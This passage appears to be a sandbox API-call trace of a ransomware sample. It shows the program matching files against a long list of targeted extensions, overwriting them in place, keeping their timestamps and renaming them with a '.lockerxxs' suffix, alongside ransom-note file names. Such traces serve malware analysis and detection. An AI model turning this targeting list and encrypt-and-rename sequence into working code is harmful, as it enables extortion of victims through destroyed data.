pszSpec="*.docm") returned 0 [0090.545] lstrlenA (lpString="*.docm") returned 6 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.xlsm") returned 0 [0090.545] lstrlenA (lpString="*.xlsm") returned 6 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.dwg") returned 0 [0090.545] lstrlenA (lpString="*.dwg") returned 5 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.nd") returned 0 [0090.545] lstrlenA (lpString="*.nd") returned 4 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.tlg") returned 0 [0090.546] lstrlenA (lpString="*.tlg") returned 5 [0090.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.lgb") returned 0 [0090.546] lstrlenA (lpString="*.lgb") returned 5 [0090.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.mov") returned 0 [0090.546] lstrlenA (lpString="*.mov") returned 5 [0090.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.xdw") returned 0 [0090.546] lstrlenA (lpString="*.xdw") returned 5 [0090.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.ods") returned 0 [0090.546] lstrlenA (lpString="*.ods") returned 5 [0090.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.wav") returned 1 [0090.546] lstrlenA (lpString="*.wav") returned 5 [0090.546] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav" [0090.546] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav" [0090.546] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav." [0090.546] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav.lockerxxs" [0090.546] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\kbhyj6q2a.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.547] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x94ab [0090.547] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xc75dac30, dwHighDateTime=0x1d5dcf9), lpLastAccessTime=0x407536*(dwLowDateTime=0x84470aa0, dwHighDateTime=0x1d5e653), lpLastWriteTime=0x40753e*(dwLowDateTime=0x84470aa0, dwHighDateTime=0x1d5e653)) returned 1 [0090.547] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.547] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9485, lpOverlapped=0x0) returned 1 [0090.549] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav") returned="kBHYJ6q2A.wav" [0090.550] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.550] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9485, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9485, lpOverlapped=0x0) returned 1 [0090.550] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.550] CloseHandle (hObject=0x90) returned 1 [0090.550] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\kbhyj6q2a.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\kbhyj6q2a.wav.lockerxxs")) returned 1 [0090.552] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe20f54f0, ftCreationTime.dwHighDateTime=0x1d5de3b, ftLastAccessTime.dwLowDateTime=0xe1eb56d0, ftLastAccessTime.dwHighDateTime=0x1d5e50d, ftLastWriteTime.dwLowDateTime=0xe1eb56d0, ftLastWriteTime.dwHighDateTime=0x1d5e50d, nFileSizeHigh=0x0, nFileSizeLow=0x119fe, dwReserved0=0x2900032a, dwReserved1=0x4e00c4, cFileName="uhYO821dp9EkJrNjc.m4a", cAlternateFileName="UHYO82~1.M4A")) returned 1 [0090.552] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.552] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="uhYO821dp9EkJrNjc.m4a") returned -1 [0090.552] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="uhYO821dp9EkJrNjc.m4a") returned -1 [0090.552] lstrcmpiA (lpString1="", lpString2="uhYO821dp9EkJrNjc.m4a") returned -1 [0090.552] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav") returned="kBHYJ6q2A.wav" [0090.552] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" [0090.552] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="" [0090.552] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" [0090.552] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt")) returned 0x20 [0090.552] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="uhYO821dp9EkJrNjc.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a" [0090.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.ems") returned 0 [0090.552] lstrlenA (lpString="*.ems") returned 5 [0090.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.db") returned 0 [0090.552] lstrlenA (lpString="*.db") returned 4 [0090.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.dbf") returned 0 [0090.552] lstrlenA (lpString="*.dbf") returned 5 [0090.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.myox") returned 0 [0090.553] lstrlenA (lpString="*.myox") returned 6 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.myo") returned 0 [0090.553] lstrlenA (lpString="*.myo") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qbw") returned 0 [0090.553] lstrlenA (lpString="*.qbw") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qbb") returned 0 [0090.553] lstrlenA (lpString="*.qbb") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qbm") returned 0 [0090.553] lstrlenA (lpString="*.qbm") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qbo") returned 0 [0090.553] lstrlenA (lpString="*.qbo") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qbx") returned 0 [0090.553] lstrlenA (lpString="*.qbx") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qba") returned 0 [0090.553] lstrlenA (lpString="*.qba") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qby") returned 0 [0090.553] lstrlenA (lpString="*.qby") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qbj") returned 0 [0090.553] lstrlenA (lpString="*.qbj") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.ofx") returned 0 [0090.553] lstrlenA (lpString="*.ofx") returned 5 [0090.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.qif") returned 0 [0090.554] lstrlenA (lpString="*.qif") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.mye") returned 0 [0090.554] lstrlenA (lpString="*.mye") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.mbox") returned 0 [0090.554] lstrlenA (lpString="*.mbox") returned 6 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.eml") returned 0 [0090.554] lstrlenA (lpString="*.eml") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.pst") returned 0 [0090.554] lstrlenA (lpString="*.pst") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.ost") returned 0 [0090.554] lstrlenA (lpString="*.ost") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.idx") returned 0 [0090.554] lstrlenA (lpString="*.idx") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.dbx") returned 0 [0090.554] lstrlenA (lpString="*.dbx") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.sql") returned 0 [0090.554] lstrlenA (lpString="*.sql") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.mdb") returned 0 [0090.554] lstrlenA (lpString="*.mdb") returned 5 [0090.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.fdb") returned 0 [0090.554] lstrlenA (lpString="*.fdb") returned 5 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.wab") returned 0 [0090.555] lstrlenA (lpString="*.wab") returned 5 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.dat") returned 0 [0090.555] lstrlenA (lpString="*.dat") returned 5 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.txt") returned 0 [0090.555] lstrlenA (lpString="*.txt") returned 5 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.jpeg") returned 0 [0090.555] lstrlenA (lpString="*.jpeg") returned 6 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.jpg") returned 0 [0090.555] lstrlenA (lpString="*.jpg") returned 5 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.png") returned 0 [0090.555] lstrlenA (lpString="*.png") returned 5 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.php") returned 0 [0090.555] lstrlenA (lpString="*.php") returned 5 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.cs") returned 0 [0090.555] lstrlenA (lpString="*.cs") returned 4 [0090.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.cpp") returned 0 [0090.555] lstrlenA (lpString="*.cpp") returned 5 [0090.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.rar") returned 0 [0090.556] lstrlenA (lpString="*.rar") returned 5 [0090.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.zip") returned 0 [0090.556] lstrlenA (lpString="*.zip") returned 5 [0090.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.html") returned 0 [0090.556] lstrlenA (lpString="*.html") returned 6 [0090.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.htm") returned 0 [0090.556] lstrlenA (lpString="*.htm") returned 5 [0090.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.xlsx") returned 0 [0090.556] lstrlenA (lpString="*.xlsx") returned 6 [0090.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.xls") returned 0 [0090.556] lstrlenA (lpString="*.xls") returned 5 [0090.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.mp4") returned 0 [0090.556] lstrlenA (lpString="*.mp4") returned 5 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.ppt") returned 0 [0090.557] lstrlenA (lpString="*.ppt") returned 5 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.pptx") returned 0 [0090.557] lstrlenA (lpString="*.pptx") returned 6 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.doc") returned 0 [0090.557] lstrlenA (lpString="*.doc") returned 5 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.dot") returned 0 [0090.557] lstrlenA (lpString="*.dot") returned 5 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.docx") returned 0 [0090.557] lstrlenA (lpString="*.docx") returned 6 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.7z") returned 0 [0090.557] lstrlenA (lpString="*.7z") returned 4 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.tar") returned 0 [0090.557] lstrlenA (lpString="*.tar") returned 5 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.bz2") returned 0 [0090.557] lstrlenA (lpString="*.bz2") returned 5 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.gz") returned 0 [0090.557] lstrlenA (lpString="*.gz") returned 4 [0090.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.mkv") returned 0 [0090.557] lstrlenA (lpString="*.mkv") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.eml") returned 0 [0090.558] lstrlenA (lpString="*.eml") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.msg") returned 0 [0090.558] lstrlenA (lpString="*.msg") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.edb") returned 0 [0090.558] lstrlenA (lpString="*.edb") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.accdb") returned 0 [0090.558] lstrlenA (lpString="*.accdb") returned 7 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.odb") returned 0 [0090.558] lstrlenA (lpString="*.odb") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.java") returned 0 [0090.558] lstrlenA (lpString="*.java") returned 6 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.asm") returned 0 [0090.558] lstrlenA (lpString="*.asm") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.pfx") returned 0 [0090.558] lstrlenA (lpString="*.pfx") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.pem") returned 0 [0090.558] lstrlenA (lpString="*.pem") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.p12") returned 0 [0090.558] lstrlenA (lpString="*.p12") returned 5 [0090.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.gpg") returned 0 [0090.559] lstrlenA (lpString="*.gpg") returned 5 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.vsd") returned 0 [0090.559] lstrlenA (lpString="*.vsd") returned 5 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.odg") returned 0 [0090.559] lstrlenA (lpString="*.odg") returned 5 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.raw") returned 0 [0090.559] lstrlenA (lpString="*.raw") returned 5 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.nef") returned 0 [0090.559] lstrlenA (lpString="*.nef") returned 5 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.svg") returned 0 [0090.559] lstrlenA (lpString="*.svg") returned 5 [0090.559] 